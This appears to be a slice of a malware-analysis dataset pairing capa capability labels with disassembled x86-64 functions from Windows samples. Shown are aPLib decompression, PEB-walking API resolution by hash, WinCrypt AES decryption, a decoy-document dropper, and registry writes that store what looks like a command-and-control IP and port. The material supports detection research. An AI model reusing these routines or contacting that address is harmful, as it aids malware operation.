joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400020c8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002112
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002112
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002112
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002112
cmp dword [rcx + 0x84], 0xe
jbe 0x140002112
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002114
xor al, al
add rsp, 0x28
ret

Function at 0x1807a1058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1807a11df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1807a1089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1807a106f
add dl, dl
jne 0x1807a1096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1807a10f6
xor eax, eax
add dl, dl
jne 0x1807a10a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1807a11ad
add dl, dl
jne 0x1807a10b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1807a10c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1807a10d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1807a10dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1807a10ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1807a107e
mov eax, 1
add dl, dl
jne 0x1807a1106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1807a1113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1807a10fb
sub eax, ebx
mov ebx, 1
jne 0x1807a114c
mov ecx, 1
add dl, dl
jne 0x1807a112e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1807a113b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1807a1123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1807a107e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1807a1168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1807a1175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1807a115d
cmp eax, 0x7d00
jae 0x1807a119b
cmp eax, 0x500
jb 0x1807a1196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1807a107e
cmp eax, 0x7f
ja 0x1807a119e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1807a107e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1807a11d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1807a107e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400021dc
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r15
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor esi, esi
xor eax, eax
lock cmpxchg qword [0x140004650], rbx
je 0x140002228
cmp rax, rbx
jne 0x14000221b
mov ebx, 1
mov esi, ebx
jmp 0x14000222d
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140002200
mov ebx, 1
mov eax, dword [0x140004658]
cmp eax, ebx
jne 0x140002243
mov ecx, 0x1f
call fcn.14012d000
jmp 0x1400022a8
mov eax, dword [0x140004658]
test eax, eax
jne 0x1400022a2
mov dword [0x140004658], ebx
lea r15, [0x1400033b0]
lea rdi, [0x140003398]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
cmp rdi, r15
jae 0x140002294
test eax, eax
jne 0x140002298
cmp qword [rdi], 0
je 0x140002289
mov rax, qword [rdi]
mov rcx, qword [0x140003378]
call rcx
mov dword [rsp + 0x20], eax
add rdi, 8
mov qword [rsp + 0x28], rdi
jmp 0x14000226a
test eax, eax
je 0x1400022a8
mov eax, 0xff
jmp 0x140002384
mov dword [0x140004064], ebx
mov eax, dword [0x140004658]
cmp eax, ebx
jne 0x1400022cf
lea rdx, [0x140003390]
lea rcx, [0x140003380]
call sub.msvcrt.dll__initterm
mov dword [0x140004658], 2
test esi, esi
jne 0x1400022dc
xor eax, eax
xchg qword [0x140004650], rax
cmp qword [0x140004660], 0
je 0x140002310
lea rcx, [0x140004660]
call fcn.140002540
test eax, eax
je 0x140002310
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140004660]
mov r9, qword [0x140003378]
call r9
mov r8, qword [0x140004078]
mov rdx, qword [0x140004070]
mov ecx, dword [0x140004068]
call fcn.140001800
mov dword [0x140004060], eax
cmp dword [0x140004080], 0
jne 0x140002340
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x140004064], 0
jne 0x140002355
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x140004060]
jmp 0x140002384
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r15
ret
sub rsp, 0x28
call fcn.1400025c0
add rsp, 0x28
jmp 0x1400021dc

Function at 0x140002450
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14000249c
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140002494
cmp dword [rcx + 0x3c], edx
jl 0x140002494
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140002494
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x14000249c
mov rax, rdx
add rsp, 0x18
ret
Function at 0x1400028e8
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x70
or edi, 0xffffffff
mov esi, edx
mov rbx, rcx
cmp edx, edi
jne 0x140002910
xor eax, eax
jmp 0x140002a32
mov rax, qword [rcx + 0x40]
mov rcx, qword [rax]
test rcx, rcx
je 0x14000294a
mov rdx, qword [rbx + 0x58]
movsxd r8, dword [rdx]
lea rax, [rcx + r8]
cmp rcx, rax
jae 0x14000294a
lea eax, [r8 - 1]
mov dword [rdx], eax
mov rcx, qword [rbx + 0x40]
mov rdx, qword [rcx]
lea rax, [rdx + 1]
mov qword [rcx], rax
mov eax, esi
mov byte [rdx], sil
jmp 0x140002a32
cmp qword [rbx + 0x80], 0
je 0x140002a30
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140002985
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400029a8
movsx ecx, sil
mov rdx, qword [rbx + 0x80]
call fcn.14000a180
cmp eax, edi
cmovne edi, esi
jmp 0x140002a30
lea r8, [rbp + 0x30]
mov byte [rbp - 0x30], sil
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rbp - 0x2f]
lea r8, [rbp - 8]
mov qword [rsp + 0x30], r8
lea r8, [rbp - 0x28]
mov qword [rsp + 0x28], r8
lea r8, [rbp + 0x38]
mov qword [rsp + 0x20], r8
lea r8, [rbp - 0x30]
call qword [rax + 0x38]
test eax, eax
js 0x140002a30
cmp eax, 1
jle 0x1400029f6
cmp eax, 3
jne 0x140002a30
movsx ecx, byte [rbp - 0x30]
jmp 0x140002992
mov r14, qword [rbp + 0x30]
lea rax, [rbp - 0x28]
sub r14, rax
je 0x140002a20
mov r9, qword [rbx + 0x80]
lea rcx, [rbp - 0x28]
mov r8, r14
mov edx, 1
call fcn.14000ce4c
cmp r14, rax
jne 0x140002a30
lea rax, [rbp - 0x30]
mov byte [rbx + 0x71], 1
cmp qword [rbp + 0x38], rax
mov eax, esi
jne 0x140002a32
mov eax, edi
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret

Function at 0x1400030d4
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x50
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x14000316d
cmp byte [rcx + 0x71], 0
je 0x14000316d
or edx, 0xffffffff
call fcn.1400028e8
cmp eax, 0xffffffff
je 0x14000312f
mov rcx, qword [rbx + 0x68]
lea r8, [rsp + 0x60]
mov qword [rsp + 0x20], r8
lea rdx, [rbx + 0x74]
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
mov rax, qword [rcx]
call qword [rax + 0x40]
test eax, eax
je 0x140003133
sub eax, 1
je 0x140003137
sub eax, 2
je 0x14000316d
xor al, al
jmp 0x14000316f
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x60]
lea rax, [rsp + 0x30]
sub rdi, rax
je 0x140003164
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x30]
mov r8, rdi
mov edx, 1
call fcn.14000ce4c
cmp rdi, rax
jne 0x14000312f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000316f
mov al, 1
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x140003d08
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
sub rsp, 0x28
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x140003d43
lea r8, str.TEST
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
test rax, rax
je 0x140003d43
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140003d43
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.1400044f0
int3

Function at 0x140003d4c
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x60]
sub rsp, 0x160
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x104
call fcn.140007fa0
mov r8d, 0x104
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov al, byte [0x1400385c8]
lea rdx, str.Console
movsd xmm0, qword [str.SelfPath]
mov r9d, 0x20006
mov byte [rsp + 0x48], al
xor r8d, r8d
movzx eax, word [0x1400385d8]
mov rcx, 0xffffffff80000001
mov word [rsp + 0x38], ax
mov al, byte [0x1400385da]
mov byte [rsp + 0x3a], al
lea rax, [rbp + 0x70]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [str.IpDateInfo]
mov qword [rsp + 0x20], rax
movsd qword [rsp + 0x30], xmm0
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor ebx, ebx
test eax, eax
jne 0x140003e78
mov rcx, qword [rbp + 0x70]
lea rdx, str.IpDate
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rbp + 0x70]
lea rdx, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rbp + 0x70]
lea rax, [rsp + 0x50]
mov dword [rsp + 0x28], 0x104
lea r9d, [rbx + 1]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, str.i:27.102.102.126p:5689
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], bx
jne 0x140003e42
add eax, eax
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x28], eax
mov r9d, 3
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x178]
add rsp, 0x160
pop rbp
ret
Function at 0x140003e8c
Capabilities:
Create process on windows
Delete file
Get common file path

Disassembly:
mov rax, rsp
push rbp
lea rbp, reloc.SHELL32.dll_IsUserAnAdmin
sub rsp, 0x3a0
mov qword [rsp + 0x60], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov edi, 0x104
mov r8d, edi
xor edx, edx
lea rcx, [rbp + 0x190]
call fcn.140007fa0
lea rdx, [rbp + 0x190]
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
dec eax
cmp eax, 0x103
ja 0x14000403c
mov r8d, edi
xor edx, edx
lea rcx, [rbp + 0x80]
call fcn.140007fa0
lea r9, str.dome.doc
lea r8, [rbp + 0x190]
lea rdx, str._s_s
lea rcx, [rbp + 0x80]
call fcn.140004490
lea rdx, [rbp + 0x80]
lea rcx, [rsp + 0x40]
call fcn.140001c00
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.140001cf8
mov rax, qword [rsp + 0x70]
movsxd rax, dword [rax + 4]
mov ebx, dword [rbp + rax - 0x80]
lea rcx, [rbp + 0x20]
call fcn.140001c78
nop
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x20], rax
lea rcx, [rbp + 0x20]
call fcn.140004e54
nop
test ebx, ebx
jne 0x140003f7d
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
and qword [rsp + 0x30], 0
mov eax, 2
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x140004003
mov r8, rdi
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.140007fa0
lea r8, [rsp + 0x70]
xor edx, edx
lea rcx, [rbp + 0x80]
call qword [sym.imp.SHELL32.dll_FindExecutableA]
cmp rax, 0x20
jbe 0x140003fe9
mov edx, 5
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x140004003
xor r9d, r9d
lea r8, str.Error
lea rdx, str.Open_The_Document_Fail
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14000403c
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004037
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004051
call fcn.1400060dc
lea r11, [rsp + 0x3a0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
call fcn.14000da48
int3
Function at 0x140004058
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], r8
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rbx, rcx
mov dword [rbp - 0x20], 0x6e0e0
lea rcx, [rbp + 0x20]
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
xor r8d, r8d
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140004142
mov rcx, qword [rbp + 0x20]
lea rax, [rbp - 0x18]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x140004142
mov rcx, qword [rbp - 0x18]
lea rdx, str._Ia4
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x140004142
mov r8, qword [rbp - 0x18]
lea rax, [rbp - 0x10]
mov rcx, qword [rbp + 0x20]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x140004142
mov rcx, qword [rbp - 0x10]
lea rax, [rbp - 0x20]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbx
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x140004142
mov rcx, qword [rbp + 0x20]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x140004150
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], rbx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rax, qword gs:[0x30]
xor ebx, ebx
xor r9d, r9d
mov rdx, qword [rax + 0x60]
mov rax, qword [rdx + 0x18]
mov rdx, qword [rax + 0x10]
mov rax, qword [rdx]
mov rdx, qword [rax]
mov r10, qword [rdx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov edx, dword [rax + r10 + 0x88]
add rdx, r10
mov eax, dword [rdx + 0x14]
mov r14d, dword [rdx + 0x1c]
mov r13d, dword [rdx + 0x20]
add r14, r10
mov r12d, dword [rdx + 0x24]
add r13, r10
mov r8d, dword [rdx + 0x18]
add r12, r10
mov dword [rsp + 0x48], r8d
mov qword [rsp + 0x50], rax
test rax, rax
je 0x140004236
movzx ecx, word [0x1400385bc]
cmp dword [r14 + r9*4], 0
je 0x14000422e
mov ebp, r8d
xor r8d, r8d
test rbp, rbp
je 0x140004229
movzx esi, word [r12 + r8*2]
cmp rsi, r9
jne 0x14000421c
mov r11d, dword [r13 + r8*4]
add r11, r10
xor edi, edi
jmp 0x140004207
mov edx, edi
mov eax, edi
shl eax, 0x19
shr edx, cl
mov edi, edx
or edi, eax
movsx eax, r15b
add edi, eax
inc r11
mov r15b, byte [r11]
test r15b, r15b
jne 0x1400041f1
cmp edi, dword [rsp + 0x40]
jne 0x14000421c
mov ebx, dword [r14 + rsi*4]
add rbx, r10
inc r8
cmp r8, rbp
jb 0x1400041db
mov rax, qword [rsp + 0x50]
mov r8d, dword [rsp + 0x48]
inc r9
cmp r9, rax
jb 0x1400041c9
mov rax, rbx
mov rbx, qword [rsp + 0x58]
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14001239c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400121c8
Function at 0x140002ef2
Capabilities:
Copy file
Write file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
mov eax, 0x4148
call fcn.14000aa70
sub rsp, rax
mov rbx, rcx
mov qword [rsp + 0x4178], rdx
mov qword [rsp + 0x4180], r8
mov qword [rsp + 0x4188], r9
lea rsi, [rsp + 0x130]
mov r8d, 0x4000
mov edx, 0
mov rcx, rsi
call sub.msvcrt.dll_memset
lea r9, [rsp + 0x4178]
mov qword [rsp + 0x4138], r9
mov r8, rbx
mov edx, 0x4000
mov rcx, rsi
call fcn.14000aab0
mov ebx, eax
lea eax, [rax - 1]
cmp eax, 0x3ffe
ja 0x140002fb0
cmp qword [0x140018488], 0
je 0x140003074
lock add dword [0x140018360], ebx
mov eax, dword [0x140018360]
cmp eax, 0x3200000
jg 0x140002fbc
lea rcx, [rsp + 0x130]
mov r9, qword [0x140018488]
movsxd r8, ebx
mov edx, 1
call sub.msvcrt.dll_fwrite
mov rcx, qword [0x140018488]
call sub.msvcrt.dll_fflush
nop
add rsp, 0x4148
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov rcx, qword [0x140018498]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x140018360]
cmp eax, 0x3200000
jg 0x140002ff3
mov eax, dword [0x140018360]
add eax, ebx
mov dword [0x140018360], eax
mov rcx, qword [0x140018498]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x140002f87
lea rdi, [rsp + 0x20]
mov ecx, 0x20
mov eax, 0
rep stosq qword [rdi], rax
mov dword [rdi], 0
lea rdi, [0x140018380]
mov rcx, rdi
call sub.msvcrt.dll_strlen
mov rsi, rax
lea rbp, [rsp + 0x20]
mov rdx, rdi
mov rcx, rbp
call sub.msvcrt.dll_strcpy
mov byte [rsp + rsi + 0x20], 0x2e
mov byte [rsp + rsi + 0x21], 0x31
mov byte [rsp + rsi + 0x22], 0
mov r8d, 0
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov r8d, 0
mov edx, 0
mov rcx, qword [0x140018488]
call sub.msvcrt.dll_fseek
mov dword [0x140018360], 0
jmp 0x140002fd6
mov ecx, 2
call qword [fcn.14000df60]
mov r9, rax
lea rcx, [rsp + 0x130]
movsxd r8, ebx
mov edx, 1
call sub.msvcrt.dll_fwrite
jmp 0x140002fb0
Function at 0x140004349
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rbx, rcx
mov rsi, rdx
mov rdi, r8
test rcx, rcx
je 0x1400043d8
test rdx, rdx
je 0x140004411
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rsi], eax
cmp eax, 0xffffffff
je 0x14000444a
mov ebp, 0
mov r12d, 0
test rdi, rdi
je 0x14000438d
mov dword [rdi], ebp
test r12d, r12d
je 0x140004586
test rsi, rsi
je 0x1400043a1
mov dword [rsi], 0xffffffff
mov r9d, r12d
and r9d, 0x3fffffff
test rbx, rbx
je 0x14000457a
mov r8, rbx
lea rdx, str.fs_attr_get
lea rcx, str._E____s_____Failed_path_s_err_08x__n
call fcn.140002ef2
mov eax, r12d
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov dword [rsp + 0x20], 0x62
lea r9, str.C:_Projects_rdp_bot_codebase_fs.c
lea r8, str._path___NULL_
lea rdx, str.fs_attr_get
lea rcx, [0x1400113e0]
call fcn.140002ef2
mov ebp, 0xa0
mov r12d, 0x40000001
jmp 0x140004386
mov dword [rsp + 0x20], 0x63
lea r9, str.C:_Projects_rdp_bot_codebase_fs.c
lea r8, str._attr___NULL_
lea rdx, str.fs_attr_get
lea rcx, [0x1400113e0]
call fcn.140002ef2
mov ebp, 0xa0
mov r12d, 0x40000001
jmp 0x140004386
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebp, eax
mov r9d, eax
mov r8, rbx
lea rdx, str.fs_attr_get
lea rcx, str._E____s_____GetFileAttributesA_failed_path_s_gle_lu__n
call fcn.140002ef2
cmp ebp, 0x20
ja 0x140004490
ja case.0x140004486.1
mov eax, ebp
lea rdx, [0x1400114b0]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
mov r12d, ebp
jmp 0x140004386
cmp ebp, 0x94
je 0x140004538
jbe 0x1400044c9
cmp ebp, 0xb7
je 0x140004564
cmp ebp, 0x80070005
je 0x14000456f
cmp ebp, 0xaa
je 0x1400044f6
mov r12d, 0x40000001
jmp 0x140004386
cmp ebp, 0x7f
ja 0x1400044e3
cmp ebp, 0x7e
jae 0x140004543
cmp ebp, 0x50
jne 0x14000454e
mov r12d, 0x40000007
jmp 0x140004386
cmp ebp, 0x91
jne 0x140004559
mov r12d, 0x4000000d
jmp 0x140004386
mov r12d, 0x4000000d
jmp 0x140004386
mov r12d, 0x40000003
jmp 0x140004386
mov r12d, 0x40000009
jmp 0x140004386
mov r12d, 0x4000000d
jmp 0x140004386
mov r12d, 0x40000001
jmp 0x140004386
mov r12d, 0x40000008
jmp 0x140004386
mov r12d, 0x4000000d
jmp 0x140004386
mov r12d, 0x40000003
jmp 0x140004386
mov r12d, 0x40000001
jmp 0x140004386
mov r12d, 0x40000001
jmp 0x140004386
mov r12d, 0x40000007
jmp 0x140004386
mov r12d, 0x40000009
jmp 0x140004386
lea rbx, [0x14001139b]
jmp 0x1400043b4
mov r9d, dword [rsi]
mov r8, rbx
lea rdx, str.fs_attr_get
lea rcx, str._D____s_____Done_path_s_attr_08lx__n
call fcn.140002ef2
jmp 0x1400043ca
Function at 0x140004d7b
Capabilities:
Write file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rbx, rcx
mov rsi, rdx
mov rdi, r8
mov r12, r9
test rcx, rcx
je 0x140004e25
test rdx, rdx
je 0x140004e55
call sub.msvcrt.dll_fopen
mov rbp, rax
test rax, rax
je 0x140004e88
test rdi, rdi
setne al
test r12, r12
setne dl
test dl, al
jne 0x140004f16
mov edi, 0
test rbp, rbp
je 0x140004dda
mov rcx, rbp
call sub.msvcrt.dll_fclose
test edi, edi
je 0x140004ff2
mov eax, edi
and eax, 0x3fffffff
test rsi, rsi
je 0x140004fda
test rbx, rbx
je 0x140004fe6
mov dword [rsp + 0x20], eax
mov r9, rsi
mov r8, rbx
lea rdx, str.fs_file_write
lea rcx, str._E____s_____Failed_path_s_mode_s_err_08x__n
call fcn.140002ef2
mov eax, edi
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov dword [rsp + 0x20], 0x279
lea r9, str.C:_Projects_rdp_bot_codebase_fs.c
lea r8, str._path___NULL_
lea rdx, str.fs_file_write
lea rcx, [0x1400113e0]
call fcn.140002ef2
mov edi, 0x40000004
jmp 0x140004de2
mov dword [rsp + 0x20], 0x27a
lea r9, str.C:_Projects_rdp_bot_codebase_fs.c
lea r8, str._mode___NULL_
lea rdx, str.fs_file_write
lea rcx, [0x1400113e0]
call fcn.140002ef2
mov edi, 0x40000004
jmp 0x140004de2
mov rdi, qword [sym.imp.msvcrt.dll__errno]
call rdi
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov r9, rsi
mov r8, rbx
lea rdx, str.fs_file_write
lea rcx, str._E____s_____fopen_failed_path_s_mode_s_errno_d__n
call fcn.140002ef2
call rdi
mov eax, dword [rax]
cmp eax, 0x29
ja case.0x140004ec9.3
mov eax, eax
lea rdx, [0x1400119d8]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
mov edi, 0
jmp 0x140004dcd
mov edi, 0x40000009
jmp 0x140004dcd
mov edi, 0x40000002
jmp 0x140004dcd
mov edi, 0x40000007
jmp 0x140004dcd
mov edi, 0x4000000d
jmp 0x140004dcd
call qword [sym.imp.msvcrt.dll__errno]
mov edi, dword [rax]
and edi, 0x1fffffff
or edi, 0x60000000
jmp 0x140004dcd
mov r9, rbp
mov r8, r12
mov edx, 1
mov rcx, rdi
call sub.msvcrt.dll_fwrite
cmp rax, r12
jne 0x140004f38
mov edi, 0
jmp 0x140004dd2
mov rdi, qword [sym.imp.msvcrt.dll__errno]
call rdi
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov r9, rsi
mov r8, rbx
lea rdx, str.fs_file_write
lea rcx, str._E____s_____fwrite_failed_path_s_mode_s_errno_d__n
call fcn.140002ef2
call rdi
mov eax, dword [rax]
cmp eax, 0x29
ja case.0x140004f79.3
mov eax, eax
lea rdx, [0x140011a80]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
mov edi, 0
jmp 0x140004dcd
mov edi, 0x40000009
jmp 0x140004dcd
mov edi, 0x40000002
jmp 0x140004dcd
mov edi, 0x40000007
jmp 0x140004dcd
mov edi, 0x4000000d
jmp 0x140004dcd
call qword [sym.imp.msvcrt.dll__errno]
mov edi, dword [rax]
and edi, 0x1fffffff
or edi, 0x60000000
jmp 0x140004dcd
mov edi, 0x40000003
jmp 0x140004dcd
mov edi, 0x40000003
jmp 0x140004dcd
lea rsi, [0x14001139b]
jmp 0x140004df2
lea rbx, [0x14001139b]
jmp 0x140004dfb
mov qword [rsp + 0x20], r12
mov r9, rsi
mov r8, rbx
lea rdx, str.fs_file_write
lea rcx, str._I____s_____Done_path_s_mode_s_buf_sz_llu__n
call fcn.140002ef2
jmp 0x140004e18